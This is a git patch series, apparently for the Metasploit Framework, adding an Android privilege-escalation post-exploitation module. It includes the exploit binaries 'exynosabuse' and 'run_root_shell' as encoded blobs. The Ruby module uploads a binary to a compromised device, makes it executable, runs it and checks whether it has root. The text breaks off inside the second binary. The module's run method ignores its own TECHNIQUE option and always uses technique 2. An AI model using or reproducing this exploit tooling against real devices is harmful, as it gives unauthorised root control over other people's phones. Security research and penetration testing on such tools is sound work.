From fc9a40f888f041aa9814d4ddfef3ee6a65abd81d Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 30 Jul 2013 08:08:48 +0100 Subject: [PATCH 1/3] android root shell --- data/android/exynosabuse | Bin 0 -> 38092 bytes modules/post/android/escalate/getsystem.rb | 85 +++++++++++++++++++++ 2 files changed, 85 insertions(+) create mode 100755 data/android/exynosabuse create mode 100644 modules/post/android/escalate/getsystem.rb diff --git a/data/android/exynosabuse b/data/android/exynosabuse new file mode 100755 index 0000000000000000000000000000000000000000..b6ed085331a7a75cf9a83f7aa942d40ff92121bc GIT binary patch literal 38092 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 Ds-pPY literal 0 HcmV?d00001 diff --git a/modules/post/android/escalate/getsystem.rb b/modules/post/android/escalate/getsystem.rb new file mode 100644 index 0000000000000..f2339bfd972bd --- /dev/null +++ b/modules/post/android/escalate/getsystem.rb @@ -0,0 +1,85 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'metasm' +require 'msf/core/post/windows/priv' + + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Android Escalate via Native Binary', + 'Description' => %q{ + This module uses native binaries to attempt to get a root shell + }, + 'License' => MSF_LICENSE, + 'Author' => 'timwr', + 'Platform' => [ 'android' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0]) + ], self.class) + + @techniques = [ 'su', 'run_root_shell', 'exynosabuse', 'GingerBreak' ] + end + + def use_technique(tech) + filename = @techniques[tech] + + print_status("Using technique " + filename) + + if tech == 0 + # su is a special case for rooted devices + # this may invoke a user prompt from the superuser app + cmd = "su\n" + else + # upload the binary + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', filename) + binary = session.fs.file.new(filename, "wb") + binary.write(File.read(localfile, {:mode => 'rb'})) + binary.close() + + # execute the binary + cmd = "cd /data/data/com.metasploit.stage/files" + cmd << " && chmod 777 " + filename + cmd << " && ./" + filename + "\n" + end + + # finally, check if we have root + cmd << "whoami\n" + + # run the commands in a channel + process = session.sys.process.execute("sh", "", {'Channelized' => true}) + process.channel.write(cmd) + output = process.channel.read + if output == 'root' + print_good("got root") + return true + else + print_error(output) + + # cleanup + process.channel.close + process.close + session.fs.file.delete(filename) + return false + end + end + + def run + tech = datastore['TECHNIQUE'].to_i + use_technique(2) + end + +end From d10123440adfe0b08ab6015aec3c02e18fa1101f Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 31 Aug 2013 16:56:37 +0100 Subject: [PATCH 2/3] add run_root_shell --- data/android/run_root_shell | Bin 0 -> 109720 bytes modules/post/android/escalate/getsystem.rb | 16 ++++++++++------ 2 files changed, 10 insertions(+), 6 deletions(-) create mode 100755 data/android/run_root_shell diff --git a/data/android/run_root_shell b/data/android/run_root_shell new file mode 100755 index 0000000000000000000000000000000000000000..e3ffb3f322ec20ce7e7923fe1e87da58b12138cb GIT binary patch literal 109720 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 